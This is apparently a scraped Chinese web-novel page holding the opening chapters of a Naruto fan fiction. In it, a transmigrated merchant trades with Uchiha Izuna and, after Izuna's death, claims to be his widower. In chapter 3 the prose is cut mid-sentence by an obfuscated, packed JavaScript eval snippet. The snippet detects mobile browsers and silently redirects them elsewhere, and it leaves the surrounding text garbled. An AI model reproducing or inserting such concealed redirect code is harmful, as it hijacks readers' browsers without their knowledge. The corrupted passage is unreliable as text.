《我开局入赘了宇智波》 1. 第 1 章 静谧的室内,只响起玉石碰撞的清脆声响。 颗颗大小相同表面光滑的玉石,在玉白的长指间上下滚动着,手指的主人低垂着眉眼,浅金色的长刘海挡去绿眸下不加收敛的利芒,算盘上的玉珠就像是飞舞着的落定在正确的位置。 “久等了。抹去零头,一共这个数。” 一手压着契书的算盘主人,嘴角噙着如沐春风的笑意,将算盘推到桌对面的黑发男人面前。 男人侧头望着庭院的方向,听到这句话才像是回神过来一般的转过头,看了算盘主人一眼,视线下移的落在面前的算盘,还有另一份内容与对方掌下一模一样的契书。 只是扫了眼算盘上呈现出来的数字,黑发男人清冷的嗓音在室内回荡:“安老板,这批货什么时候能取?” 被称为安老板的男人是这家三层店铺的主人。但奇怪的是,门匾上挂着的却是‘安茶斋’,就连位于店铺后面的会客室都能闻到从前面传来的若有似无的茶香气。 对于五感敏锐的黑发男人而言,他甚至能听到前方店铺杯盏碰撞的声响。 但前室和后室,做的是不同的生意。 刚达成一笔武器单子的安老板,一双狭长的凤眸波光流转,眸底含着浅淡的深邃笑意,嘴角的弧度也微微勾起。 就如他刚才拨动的玉石一般,他的声音听起来也像是双唇抵着幽玉般发出的沉亮温润。 “如果您方便的话,今晚就能带走。泉奈先生。” 安池宫笑眯眯的看着面前出自宇智波名门的副族长宇智波泉奈。 安池宫的视线落在对方执着契书的右手上,手腕纤细,肤色冷白,纤长的手指下指骨分明的手掌看起来并不宽厚,但指间和掌心的老茧和细碎泛白的多条刀疤,就可以知道这是一只能轻易用刀夺走生命的手。 作为当今时代最强的二大忍族之一宇智波出来的强大忍者,就算进门前已经卸掉了腰间的长刀,穿着没有绘制家徽的蓝衣黑袴的平民服饰,也无法阻挡身上若隐若现的凌厉锐气。 就算面前的忍者气质再温和,长相俊美脱俗,谈吐也优雅温吞,也无法让人掉以轻心。 宇智波泉奈没有马上回应,而像是在思索着什么的,过了一小会才拿起旁边的毛笔,蘸墨后在上面落下了自己的名讳,又接过安池宫递过来的另一份已经签下对方名字的契书。 两份契书,双方各留一份,二人的名字并排落在页面的尾部。 宇智波泉奈:“今晚十一点,老地方。货若是没有问题,货款会当场结清。” “好。”安池宫拿回了自己那份契书,又拿回了算盘。见对面的忍者准备起身,说道,“先别急着走,院子里的花很漂亮吧?那是月季,特地买了跟我头发一样颜色的黄色,费了很大力气从花之国运来,来的时候恹恹的,花匠费了不少时间才把它们折腾好。月季能活血解毒,我打算用来制药,你要看就抓紧,下次来可就看不到了。” 他注意到对方刚才的视线一直落在庭院的花上,猜测应该是喜欢的。 泉奈起身的动作一顿,墨黑色的眼眸波澜不惊的看向对面的商人。“倒是稀奇,安老板竟然知道留客了。” “哎呀,别这么说嘛。您好歹也是我店里的老客户了,让我赚了这么大一笔钱,我当然得把您伺候舒服了,常来常往嘛~”安池宫笑吟吟的道,往门口喊了一声,让人送来点心和新的茶水。 泉奈坐了回去,颇为无语的道:“别把话说得这么奇怪,您可是做正经生意的人,还是说想改行了?” 安池宫嘴角公式化的笑容没能继续维持,无奈的说着:“说话这么刻薄可太浪费你这张脸了。”他双手在胸前打个叉,“我可是好人家的正经男子哦。” “是刻薄吗?我还以为你喜欢这样。”泉奈也不再维持正式的跪坐,改成像对方那样盘腿的坐姿,双手自然放在桌面上。虽然表情还是那么的冷淡,但至少不像刚才那样看起来就让人不敢亲近。 他说:“刻薄是为了方便给你找到一个赶客的借口,毕竟安老板最讨厌的就是应酬死赖着不走套交情的客人了对吧?” 安池宫略有心虚的抿着唇嘟哝着:“所以你果然看到了啊。” 泉奈:“嗯,和对方签完契书之后就黑着脸直接让人送客,连杯茶水都不给。猜到被后面来的我看见后,态度比平时冷淡了很多,真是别扭的性子呢。你这生意真的能做长久吗?要是不能的话,还请提前说,我好找下一家。” 安池宫:“……连没给茶水这件事都知道,忍者果然很犯规吧。先说好,我每次招待你的可是店里最贵的茶叶。”所以你在生气我刚才公式化的态度对吧?难怪正眼不看我一下……闹别扭的人是谁啊! 再说了,身为一个商人被其他客户看到那么情绪化不专业的一面,就算是脸皮厚如安池宫也会觉得没啥面子。 他叹息着,支起双手伸了个懒腰,就像是无骨一般的直接躺在了铺着蓬松毛毯的地面上,双脚像是青蛙一样又伸张扑腾了两下,把磕到后脖的金色束发拨到胸前的位置,又将缠到金耳坠的一缕前发挑起勾在耳后。 终于找了个舒服姿势的他,一只手搭在肚皮上轻轻拍打着,懒洋洋的道:“那也没办法吧,谈生意还带着一身宿醉的酒臭,我最讨厌酒精的气味了,还越凑越近,我都快吐了。况且……” 他侧过身,单手撑着脸颊,笑容狡黠的道:“他那一单够我吃两年了,我这生意短时间内才不会黄。” 门打开,仆人适时的送上茶点和热腾的茶水。等人走后,门关紧,泉奈才慢腾腾的抿了口茶说道:“那我今天这一单够安老板吃多久?三年?五年?” 安池宫只是用袖子捂着嘴,偷笑着,也不搭腔。见泉奈看过来了,才坐起身举起双手说道:“可别这么误会我啊,我给你的价格可是方圆百里最公道的,不然泉奈也不会一次又一次的找上门吧。” 安茶斋不是单纯卖茶叶,也不是单纯多一门做武器的生意。可以说但凡客人想要的东西,只要出得起钱,绝大部分他都能搞到。 如果搞不到,那一定是钱加得不够多。 泉奈也是因为这一点才会和对方做了好几门生意,这对忍者来说还是很少见的事情,为了安全问题,忍者很少会和固定的一家做生意,就算是做,起码也不会像这样半年就有六起。 泉奈:“安老板给的价格确实公道,也让我意识到商人赚钱有多么黑心。”想也知道以前那些和宇智波做生意的商人赚的有多暴利。 当然,如果一定要在所有接触过的商人中做个区分,那他面前这个装乖的男人肯定是其中最大的奸商。 因为有时候对方要的不仅是金钱,还有一些额外的实物。那些实物由忍者来处理不太方便,主要是耗费的精力过多不划算,但落在这小子手里,肯定能让他赚得盆满钵满。 这一点从每次见面时对方身上不重样的衣服和各种成套精美的金石饰品就可以知晓。 宇智波也不亏,有些不好变现的东西直接卖给对方很省事。至于安池宫能在中间赚多少差价,那就靠他自己的本事。 想到这里,泉奈审视的视线将安池宫从头发丝扫到光着的脚尖,在对方快炸毛之前才淡淡的收回视线,评了一句:“花孔雀。” 不知道是不是因为头发的颜色跟碎金一样璀璨,所以面前这个奸商格外喜欢金银,就差整个人钻进了钱眼里,不仅做生意能坑到别人半点没察觉还眉开眼笑替他数钱,自己还恨不得把金银全都套在身上招摇过市。 喜欢浅色的用金银线勾绘的,看起来就很容易坏的丝绸衣服,喜欢漂亮的宝石和各种看起来就很昂贵的首饰,就连出门时佩戴着的长剑,剑鞘要用金条镶边,剑柄还嵌着颗鸡蛋大的夜光宝石。 他们两个第一次见面时是这小子大咧咧的穿成这样走在大街上,还没点警惕心的走到偏僻的小道,被三个亡命之徒打劫。 那时候的泉奈没出手。 他当时误以为对方是贵族,想过如果贵族在城里出事,那离族地最近的这座城估计要戒严影响到族人日常的补给,就不介意做一笔免费的买卖。 没出手是因为这个看起来就细皮嫩肉风吹就倒的男人,剑术是非一般的高超,只是一剑就斩下了三名匪徒的手臂,在这样的时代,没了手的匪徒也就只有死路一条。 可能是因为对方骨子里也带着股狠劲,所以在知道城内新开的安茶斋主人是他之后,加上价格公道货源齐全,泉奈才会破例和同一家店做了好几次生意。 和这样来历不明的人做多次生意也是伴随风险的,但泉奈不在意。忍者天然与死神共舞,风险对他们来说跟空气一样无处不在。 撇去其他不谈,至少安池宫这里的货确实物有所值,甚至是物超所值。 泉奈的视线再一次的落在安池宫的身上,着重盯着那张装无辜的脸。 然后拿起一块点心,咬了一口,咽下后说道:“花里胡哨的花孔雀。” 本来长得就格外招摇,还特别喜欢打扮自己,大太阳底下走着,加上一身的金银饰品,就像是第二个太阳一样,金灿灿的,多看一眼都觉得会眼花。 安池宫不是第一次被泉奈这么吐槽了,所以他压根没受什么影响。“花里胡哨怎么了?重要是好看!” 好看就完事了! “那你打扮成这样给谁看?”泉奈顿了一下,继续道,“给自己看的话,就应该在屋里多装几面镜子。” 安池宫哼哼说:“你管那么多呢。说不准哪天被富婆看上眼了呢?这样我就可以不用辛辛苦苦的工作了……可恶,如果每天的天气都像是今天这样不冷不热就好了,夏天和冬天做生意可辛苦了,尤其是冬天,我最怕冷了,每次离开被窝都太难了,要了半条命呢。” “富婆啊……”不是第一次从这小子口中听到各种不着调的话,泉奈想了想说道,“能称得上是富婆的,要么是公主贵女,你接触不到。要么是女富商,但一般年纪不小,够当你奶奶了。而富商家的女儿,就算是招赘也不会找你这样心思活泛难控制的。” 本来只是随口胡扯的安池宫,被他这么一通分析下来也认真的开始思考:“好有道理。如果富婆找不到,那就只能找男的富豪了。” 泉奈点头,敷衍的说:“听起来是这样没错。” 安池宫:“但男的也不行吧,一个个就跟家里有官位要继承一样,两个男的也生不出孩子。而且我也不喜欢小屁孩。” 泉奈更敷衍的道:“确实。普通人和朝不保夕的忍者不一样,对子嗣这块很重视。那这两条路都没了,怎么办?” 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他知道这小子生活过得很奢侈,很舍得在吃穿用度上花钱,鉴于一人吃饱全家不饿,这家店还那么多人指望他养家糊口,自然不会有人说他做个点心用这么多的白糖和芝士是铺张浪费。 白糖也属于一种战略物资,价格可丁点不便宜。芝士应该是让人从雷之国特地运过来的,小时候便是在雷之国出生的泉奈,对这个久违的味道还有点怀念。 但点心真的很甜,甜到让喜欢甜食的泉奈都觉得消受不起,而且芝士加多了,吞咽的时候喉咙像是被什么粘稠的东西堵住一样。 他面不改色的将第二块点心塞进嘴里,又喝了茶水冲淡口腔里的腻味,状似随意的道:“你加的白糖?这是你亲手做的?” 安池宫理直气壮:“我出钱买的材料,用我的厨房我买的柴火,我给的配方,当然是我做的!” 泉奈:…… 他道:“你没自己试过味道吗?” 安池宫摇头:“芝士吃法挺多的,我吃了很多,做点心的时候用的是特地给你留的那份。你不是喜欢甜的吗?剩下的芝士就只够做这么多。”才八小块,他胃口大,就不跟泉奈争了。 泉奈了然,难怪里面额外加了这么多白糖。以往一起享用的那些点心,可都是甜度适中的。 泉奈丁点不感动,只是加快速度的将剩下几块点心吃完,等最后的茶水落肚,才对上安池宫那满是揶揄之色的湖绿色眼眸。 “什么嘛~明明就很喜欢。知道了,等新的芝士送来后会再给你做的……”安池宫偷笑着,话还没说完,面前的忍者就砰的一声消失得干干净净,一同消失的还有桌子上的那份属于泉奈的契书,和搁在刀架上的长刀。 安池宫:? 安池宫:?! ——“等一下,我话还没说完呢!哪有这么犯规的!” 安池宫无能狂怒的在室内大声喊道,“上次提到的护卫委托呢!你还没回复我!” 虽然今晚会有宇智波的忍者来拿货,但想也知道这种事情肯定不需要泉奈亲自出马。 而向宇智波委托长期护卫工作的任务,就只能和这个副族长或者他压根就没见过的那位族长签订啊! 人没出现,他和谁去签啊! 还没走远,又想到有这么一茬事而折返回来的泉奈,站在院子外的树干上,眯着眼无语的看着安池宫那在地上乱扑腾的模样。虽然听不清他在说什么,但大致上能知道不是什么好话。 泉奈:…… 感觉这时候回去,会被死缠着唠叨许久。 如此想着,他抬起左手轻轻抚摸着嘴唇,转而掌心捂着双唇,脸色有些纠结。 ——不行,还是太腻了,有点想吐。 安茶斋。 在室内嚷嚷了好一会都没见人回来,安池宫才泄气的抱着双手没好气的道:“可恶的泉奈,啊啊啊……不管是宇智波还是千手,就那么讨厌长期护卫的工作吗?” 只要一想到能和这两家随便一家签订这种长期护卫的契约,他的生意就可以做得更远更大,安全系数也大有保障,安池宫就觉得浑身痒得难耐。 这个世界最强的两家忍族都在这座栗海城附近,如果不是两家是死对头,他可真希望能一块儿雇佣了。 不用现在做生意束手束脚的,护送成本不仅高昂,还很容易人货两空。 乱世就是这么麻烦。 ——若是有不死的安命蛊在,倒也不用这么麻烦。 但能从半死不活要啥没啥的原生世界护着他来到这个异世界,安命蛊发挥的作用早就远超过以往的每一次。 如此,就是作为穿越时空的代价消失了,也没什么好纠结的吧。人不能太贪心。 ——宇智波泉奈这小子,每次提到这件事就岔开话题或者跑没影子。 而比起宇智波,千手那边的情况反倒是更过分,那位二当家每次交易时连面都未曾露过,护卫的委托更是硬邦邦的直接拒绝,两家的族长他又接触不到。 安池宫头大的抓着头发,一头保养得顺滑的浅金色长发被他抓得凌乱如四散的稻草,才咬牙道:“可恶,千手扉间定制的货加价两倍!” 他和千手扉间谈的是物换物的交易,对方打造的武器能换个外表样式找宇智波接盘,到时候再赚一笔。 拿来算盘,算了一下进账,这颗受伤破碎的心灵总算是得到了些微慰藉。 2. 第 2 章 当晚来交接货物的是泉奈的亲信宇智波火核和一名他之前没见过的男人。几次交接都有火核,安池宫跟他还算是熟络。 “今天九梨怎么没来?”在火核清点货物的时候,安池宫在旁边和他搭话。 火核笑着回答:“她有其他任务。有我们两个就足够了。” 安池宫点了点头。虽然货算不上少,但宇智波家大业大,带来的空间卷轴完全能装得下,别说是两人,就是只有一个人都能完成这笔交易。 空间卷轴只有忍者才能使用,没有查克拉的安池宫也只能看着干瞪眼。 他捂着嘴打了个哈欠,因为泉奈今天不太高兴的样子,所以作死的提前交货时间,在这两人来之前他亲自清点了三次货物,现在累得只想进被窝里睡觉。 如果不随便和人搭点话的话,他觉得自己会困得直接躺在地上。 感觉到有他人的视线,安池宫扫眼过去,对上的是一双沉寂幽暗的眼睛。是火核今天的搭档。 男人朝他轻轻的点了头,眼睛却依旧一瞬不瞬的盯着自己。 “请问我脸上是有什么东西吗?”他问着。 对方摇头没有说话,沉闷得像个哑巴。刚想要继续说些什么,一道黑影从屋内窜出来,跳跃间优雅轻盈的落在安池宫的左肩上。 这是一只很漂亮的红眼黑猫。 毛发细腻顺滑,在灯光下就像是流动丝绸一般闪烁着盈光,看得人手心发痒。 安池宫就是那个手痒的人,抬手将猫捞进怀里,手法娴熟的抚摸着对方的下巴和耳朵,猫在他怀里发出喵呜的似乎很享受的声音,乖顺非常,但在安池宫看不见的角度,那双猫眼却是直直的盯着那名男人。 看起来不太好相处的,面无表情的男人,在看到猫出现后有所变化,虽然依旧没开口,但安池宫能感觉到他的疑问。 “这是钱多多,算是我养的猫。” 不知是不是安池宫的错觉,他觉得男人的表情好像扭曲了一瞬。 男人终于开口:“养了多久?” “半年了吧。” 是自己跑来的,只有晚上才会出现,看在不会掉毛而且很乖任吸的份上,对小动物不怎么感冒的安池宫也不介意养着。 起码之前冬天的时候钱多多算是帮上大忙了,就像是多了一个暖炉,抱着睡很舒服。 男人没有在这个问题上纠结,等火核清点完毕,安池宫收了钱,又闲聊了两句,两名忍者就消失在夜色中。 忍者们并没有走远,而是等安池宫锁了后门,屋内的灯光暗下来后,他们才离开。 在回族地的路上,那名男人询问:“就是他?” 火核恭敬的道:“是。” “还特地选在对方家里交易。”男人的声音听上去有点匪夷所思。 看到那名金发男人睡眼惺忪的,交易完成后就迅速关灯睡觉的样子,还能有什么不明白的。 男人不知想到了谁,眼里带着几分无奈的纵容:“算了,他喜欢就好。”虽然是个没有丁点查克拉,又娇气懒散没什么防备心的普通人,但性别都能接受了,其他就算不上是什么问题。 想到这里之后,男人干脆解除影分/身术,而侯在附近的宇智波九梨也顺势现身。 两人无言的对视一眼,还是九梨先开口:“没起冲突吧?” 火核摇头,想了想又道:“泉奈大人的忍猫在安老板那边。很乖,随便摸,相处得很好的样子。” 九梨双眼瞪圆,三勾玉在瞳孔中闪现:“……哦。” 火核:“安老板给水矢大人起名叫钱多多。” 九梨的眼神已经木了,干巴巴的说:“很有安老板的风格。” 火核也干巴巴的说:“这样看来确实没必要派族人暗中保护。” 要不是最近泉奈大人突然让人翻修住宅,新房间选在离族长卧室有段距离的独立小院里,装潢风格与往常低调务实的审美大相径庭不说,还大手笔的让人做了很多浅色的绣着金丝银线的族服……别说是和他住一起的族长了,跟安池宫接触过的火核都没想到这一层。 九梨心情微妙的说:“族长应该受到很大的打击吧。” 毕竟那可是族长啊。 宇智波斑确实受了很大的打击,作为一个自认为对弟弟的事情了如指掌的兄长,他觉得自己在这件事上严重失格。 在他的眼皮底下偷偷摸摸来往了半年,他一无所知不说,是不是要等人进门了他才接到通知? 族地里,正在书房中和泉奈商议着近期收到的贵族委托的宇智波斑,在收到来自影分/身的记忆之后,就中断了会议,单手捂着脸神色消沉。 泉奈:“……” “水矢和你的五感是共调的吧。”斑对视线飘移的弟弟道,“我以为我们之间不会有秘密。” 泉奈见装不下去了,只能心里暗骂千手扉间那个混蛋开发出了什么影分/身之术,一次交手之后,族内拥有写轮眼的族人就全都学会了。 这个忍术确实很好用,但他不希望是用在这里。 只能岔开话题的说:“贵族那边催得急,酬金已经在路上,没有意外的话,我们的对手应该是被目标国贵族雇佣的千手。” 宇智波接的一般都是大型委托,像国战这类的委托在这个战乱时代可谓是吸金买卖,但也因为家族实力过于强大,被攻打的国家会选择雇佣千手来对抗。 与势均力敌的千手交手,对宇智波而言并不是一件好事,因为这代表他们需要付出更多的代价。 但斑的注意力显然不在这件事上面,他顶多就是贴心的没有去提醒泉奈他现在提出的这个问题在刚才他们已经聊得很透彻。 “泉奈……”斑道,“既然你已经决定好了,就尽快将那孩子接过来吧。” 安池宫看起来岁数就不大,时年二十九岁的斑用‘孩子’来称呼对方毫无负担,毕竟比他小五岁的泉奈在他眼里也只是个需要保护起来的孩子罢了。“就算有水矢在他身边,栗海城离千手族地也不远,若是被那边知道他和你的关系……” 这种事不得不防。忍者可向来不是什么讲究光明磊落的存在。千手柱 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他自然不可能会放手,但猎物还没有主动入网,猎人就应该有耐心。 尤其还是这样的大猎物。 看似没什么戒心,和谁都能称兄道弟的模样,甚至连千手扉间那样的男人都能被他搭上线,可泉奈依旧能看出来——这小子深藏在骨子里的高傲和韧性。 是越到绝境就越会绽放光彩的灵魂。 这样的人,用强硬的手段将他留在身边是不行的。精心打造的牢笼困不住他,更别说自己想要的不是仅仅一个躯壳。唯有一步步拔丝拆茧,卸下他的心防,才能拥有。 想到这里,看着卷轴的黑发男人,墨黑色的眼眸被猩红色取代,瞳孔里的图纹幽幽颤动着,微微勾起的嘴角,带着几分让人不敢深思的诡秘。 斑挠了挠头发,最终还是败下阵来:“你心中有数就好。”就以往的经验,既然泉奈已经有了决定,他也没想过靠三言两语去说服他。 他看了看外面的夜色,起身说道:“早点休息吧,泉奈。” 开门的时候,听到身后传来泉奈一如既往温和的回应,斑没有回头,而是随意的摆摆手表达晚安。 只是走在幽长的走廊时,这位族长双手插袖着,表情很有几分复杂。 自己的弟弟什么性子他再清楚不过,看似温和手腕也不激进,在正事上思想开明处事也极为公道,为了家族和族人的利益甚至可以牺牲自己的利益。 但宇智波的性子天生就带着两面性,作为纯正的宇智波,一旦执拗起来可分毫不会让步。 更别说是涉及到感情这方面的问题。 在父亲去世后,兄弟俩已经接手家族很长一段时间的现在,作为一名对弟弟不说百依百顺但也差不多的兄长,斑也知道自己长久的纵容一定程度也促成了弟弟某方面的霸道。 “感觉有点可怜……” 斑用只有自己能听见的声音嘟哝着,同情着并不在这里的某个人。 3. 第 3 章 被窝里的安池宫睡梦中连打了三个大喷嚏,滑到肩膀下的被子被一只小爪子勾起,盖住他的脖颈。 抱着长条形的抱枕,整个人蜷缩成一团的安池宫没有醒,只是呓语般抱怨似的哼哼几声,脑袋在枕头上蹭了又蹭,顺脚把身上的被子一踹,只穿着底裤的身体直接就暴露在黑暗之中。 水矢:…… 从一只猫的眼睛里看出了人性化的无奈之色,再次用爪子勾起被子,将人从脚盖到脖子。 就这睡癖很难不怀疑他之所以没三天两头的感冒,多亏了有一只猫在夜间守护。 顶着个屈辱的钱多多小名的猫,趴在被子上,用自己的身体压住被角,好不让被子又被某人踹开。那双红色的猫眼则直勾勾盯着安池宫的睡脸。 猫的夜视能力远超普通人,这让安池宫的脸能够完整清晰的印入猫的瞳孔之中。 黑长的尾巴一甩一甩的,猫似乎很享受这个时刻。等着被窝里的人彻底睡过去,呼吸也变得均匀绵长,猫才慢慢的支起身体,跃过人类的上方,来到后方潜入被子之中。 被子鼓起了一小块,在黑暗之中,猫无声的盯着安池宫的后背,视线从修长优美的后颈一路到蝴蝶骨的位置。 猫的视线落在了两边的蝴蝶骨上,上面各有一处泛白的,不仔细观察看不出来的伤痕。菱形的伤痕看起来就像是曾经被用倒刺的利器生生穿透了骨头,硬生挖掉了一大块肉,留下来即便是愈合也依旧触目惊心的痕迹。 视线再往下,在后腰沿着两侧的位置,还有一条连贯的弧形伤疤,疤的边角尤为干净,可以预见那几乎将此人斩成两半的刀有多么锋利。 又或者不是刀所伤,而是其他细长而锋利的工具。 安池宫外表看起来并不强壮,但也不瘦弱。身材匀称,覆盖着一层薄薄的异常紧致的肌肉,这具身体蕴含着惊人的爆发力。 无论是肌肉还是这些疤痕,都不是一个普通的商人该有的,他更像是一名退役的战士。 但他确实只是名十九岁的青年。 他有很多的秘密。 ——无所谓。 ——秘密总有一天会揭开,就算不揭开也没关系,每个人都有不想让别人知道的秘密。 ——只要知道这个人就在眼前,够得到摸得着就行。 直面过太多的生死离别,忍者这种生物,有时候是很擅长说服自己的。就算一开始无法说服,半年的时间也足够了。 对于无法预判下一刻生死的忍者,即便只是相处多一秒,都是弥足珍贵。 猫从被子里钻出来,蜷缩在枕头边上,身体埋进人类的颈窝之中,感受着对方的吐息落在毛发上轻微的瘙痒,轻阖眼的进入浅眠。 ——只是谁都没料到,那最后一刻来得那么快罢了。 最近的安池宫情绪有点糟糕,因为快两个月没见到宇智波泉奈的身影。在没有电话,通讯只能靠书信的这个时代,他甚至没办法直接联系上对方。 嗯,他压根没有和宇智波泉奈联系的方式,一直都是这小子主动来找他的。 安池宫散漫惯了,工作也算不上轻松,时间对他来说有时快有时慢,但总在某个想起那小子的时间点,对方就跟心有灵犀一般的很快就出现在他面前。 想起对方的原因多种多样,比如‘上次送的那批货质量怎么样’‘这样的大客户也是要维持一下关系’‘这种东西宇智波家会不会感兴趣’……有个财大气粗从不压价的爽快大客户,没有商人会不喜欢的吧。 但凡有手机的话,他都能做到每天三条关怀信息七天一通慰问电话,逢年过节生辰时还要亲自上门送礼送祝福,嘘寒问暖生怕大客户从手里溜走。 但可能是因为每次对方出现得过于及时,慢慢的想起对方的理由就多了起来。 比如—— “泉奈那家伙,再不来的话芝士可被我吃完了哦。”安池宫吃完了晚餐最后一口芝士烩饭,没好气的对着趴在自己膝盖上的猫抱怨着,“明明是自己先提起来想吃的,没吃到可不能怪我。” 身处战国时代最大的坏处就是战争很频繁,因为邻国起了战事,通往雷之国的官道被封,商队也受到了影响。估摸着未来应该有一年半载买不到芝士了。 他从雷之国商人那里买来的那种芝士,除去陆运时间,也就仅剩下不到一个月的保质期,如果泉奈再不出现的话,为了不浪费,他只能一个人全部吃掉。 ……哦,如果不是有心要给大客户一点回馈,特地给他留一些的话,其实到手不到一个星期就能被他消耗干净。 毕竟这种牛奶做的食材,高营养而且口感独特醇厚,对安池宫的诱惑力还是挺大的。 他出生的那个世界已经全面普及了营养液,口感十分单一,他是来到这个世界之后才知道原来还有烹饪这种专属名词,吃东西也能成为一种享受而不是用于维系性命存续的手段。 就算不是芝士,只要不是做得太难吃的东西,他都挺喜欢吃的。 让仆人将餐具收走,一直没得到猫回应的安池宫,抓起对方的两只前爪提了起来。 安池宫对小动物向来是没什么兴趣的,他的原生世界既糟糕又荒谬,活着已经成为了一种需要用尽全力才能维持的事情,没有人会有闲情去养什么需要依赖自己才能存活的宠物。 连自己都活不起的人类们,不会找这种麻烦。 但这只自己跑来的猫却是不一样,安静又听话,聪明又漂亮,在无所事事的时候,有这么一只小东西陪伴还能打发一下时间。 这只猫基本只会在晚上十点过后才会出现,等他早上醒来的时候又不见踪影。也不吃东西,身上的毛发又很干净,他严重怀疑这是一只三心二意的小渣猫,外头肯定还有其他铲屎官。 倒霉的铲屎官把养育猫咪的工作做完了,轮到他这个外室(?)捡了大便宜。 “钱多多?”安池宫疑惑的盯着被自己提起来后,却一副懒洋洋没什么干劲的猫。 虽然很听话没错,但如果平日这样粗鲁的对待,肯定会被尾巴啪的一下打脸,就是猫也是有小脾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156245|164954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气的。 但最近的钱多多有点不对劲,好几天没来找他不说,今晚晚餐前就出现,却又一副看起来无精打采的模样。 在听到安池宫这么说之后,猫才微微的挣扎起来。 挣扎的弧度很小,就好像光是做出这个动作就已经耗尽了身上所有的力气。 还没等安池宫对此做出什么反应,猫突然大力的挣脱开他的手,如往常一般跳到了他的肩膀上,毛茸茸的小脑袋凑了过去,舌头轻轻的舔了一下他的侧脸。 安池宫:? 他知道这只猫趁他睡觉的时候会偷偷舔他的脸,但在自己清醒的时候这么做还是头一次。似乎是舔上瘾了,猫用尾巴缠绕着他的脖子,伸长了脖颈,舔在他的嘴唇上。 就好像是被什么沾湿的羽毛轻轻扫过一般,从未被这样对待过的安池宫眨了眨眼,觉得这种体验还有点新奇。 可做完这一切的猫,却是干脆利落的从他身上跳了下去,三两下的跑到敞开的窗户,一下子窜没影子。 安池宫一头雾水的用手摸了摸嘴唇,用手背擦了擦,皱着眉嘟哝着:“看来应该没事。” 猫不知道被他吸了几回了,尤其是那软弹弹的小肚皮,每次都是连吸带亲带蹭的,所以被这么回敬一下他也不在意。 既然都有精神溜掉了,就不会有什么问题。 如此想着的安池宫,掏出自己的玉珠算盘,翻出这个月的账本,快速的计算起来。 已经快到月底了,早点算清楚也能省点事,还有给雇佣的那些忍者发的薪酬,多亏了那些忍者,他这生意才干得下去。 但小忍族的忍者实力不强且人数少,果然还是得拉大忍族进来才能扩充更多的商道吧。 人想要活得自在就需要很多东西,而钱能解决绝大多数的麻烦,等商会筹备完毕,资源整合下来,情况只会比现在更好。 不过……等泉奈那小子来了,一定要他给出一个确切的答案。 如果不行的话,他就只能放弃宇智波,转而拉几个中型忍族入伙。但忍族一多,而各个忍族之间的关系其实都不太和睦,就容易滋生事端。 如果可以的话,他还是倾向于跟宇智波合作。毕竟他和宇智波泉奈挺合得来的。 如此思索着,突然听到身后传来动静,安池宫下意识的抓起别在桌子底下的长剑,转身还没看清来者的脸,就对上了一双猩红色的瞳孔。 沿着眼角滑落下来的两道血泪,让那双看起来就不同寻常的眼睛显得格外阴森。 安池宫愣了一下,认出这个人:“你是那天跟火核先生……” “安池宫。”对方声音嘶哑的叫出他的名字。“我弟弟泉奈,他走了。” 安池宫:……啊? 他一时没反应过来,还能从对方的瞳孔倒影里看到自己脸上那不在状态的迷茫的表情。 他听到对方往下说出来的话。 “你们是恋人吧,我带你去见他最后一面。虽然他没有明说,但我知道这是泉奈最后的心愿——他想见你。” 4. 第 4 章 泉奈——死了? 突如其来的消息让安池宫脑子有瞬息的空白。 对他来说,宇智波泉奈也只是一个认识半年的,算得上可以继续来往的合得来的人罢了。他们甚至连朋友都算不上。 死亡这件事对他来说并不陌生,甚至可以说是很常见的事情,他直面过无数的死亡,其中不乏诸多自己重视的朝夕相处的同伴。 即便死掉的人是宇智波泉奈也没什么不能接受的。 上一秒还在欢笑打闹,下一秒就变成面目全非的残缺尸体,甚至很多时候连尸体都见不到,像这类的事情发生得多了,身处在那个末世的人,早就心硬如铁。在特殊环境之下锻炼出来的本能,会习惯性的分析出在这份死亡之中自己能够获取到多少额外的利益。 总不能陪着同伴一起死吧?人都死了,那利用这份死亡给自己挖点好处不是很正常的事情吗? 所以在快速消化掉这份死亡讯息后,安池宫面上依旧是迷茫,就像是没反应过来一般的结结巴巴的说:“你弟弟?你是泉奈的哥哥啊……那个,什么是最后一面?泉奈怎么了?” 宇智波斑没有多想,应该说他现在也是脑子一片浑沌。他抿了抿唇,用粗粝的像是从牙缝中硬挤出来的声音说:“如果你想去,我带你去见他。” 其实可以的话,斑只想将人打晕直接带到弟弟面前。虽然弟弟已经不会再有所回应。 ……泉奈在咽下最后一口气的时候,都没有提到安池宫的名字,仅是让人将他卧室上锁抽屉里放的一条湖绿色发带与他一同下葬,再将他早已准备好的想与安池宫共度一生的小院拆掉。 宇智波斑明白泉奈的意思。对方并不想将安池宫牵扯进来。既然他已经死了,那他之前为二人的未来所做过的所有畅想,便都如同即将被拆的小院那般烟消云散吧。 不想让更多的人知道他和安池宫的关系。 但是…… 攥紧的拳头,血沿着凸起的青筋滴落在地面上。 他隐忍的道:“虽然你还没过门,但是……既然已经有了结婚的打算,那么由你来送泉奈最后一程,也……” 他无法再说下去。担心再说下去,会崩溃的哭嚎出来。 “我要去!” 斑听到了安池宫坚定的声音。 方才还在恍惚着,被这个消息打得措手不及的金发男人,眼神坚定的看着斑。 安池宫试图站起身,却发现自己双脚不知为何已经软得如面条一般,一连努力了好几次,才靠着长剑的支撑勉强站起来。 他沉声道:“什么没过门,现在就过!我安池宫从今天开始,就是宇智波泉奈的丈夫!” 斑愣愣的看着这个无比认真的男人,消化完对方的话,哑声说:“但泉奈他已经……” “那小子生是我的人,死也应该是我的死鬼!”安池宫打断他的话,不容置疑的道,“就这样决定了!从现在开始,我就是宇智波安池宫!这个葬礼,必须是由我来主持!” 虽然不知道为什么泉奈的哥哥会以为他们在交往,还有他们两个私定终身定了婚约。但是…… 这可是摆在面前千载难逢的好机会! 泉奈是宇智波族长的亲弟弟,面前这位就是宇智波的族长!当代最强两大忍族之一的忍者家族的族长! 只要得到对方承认,那自己就是宇智波泉奈的未亡人。能为了弟弟的死亡伤心成这样,都哭出血泪的人,想也知道泉奈在他心中的地位有多重! 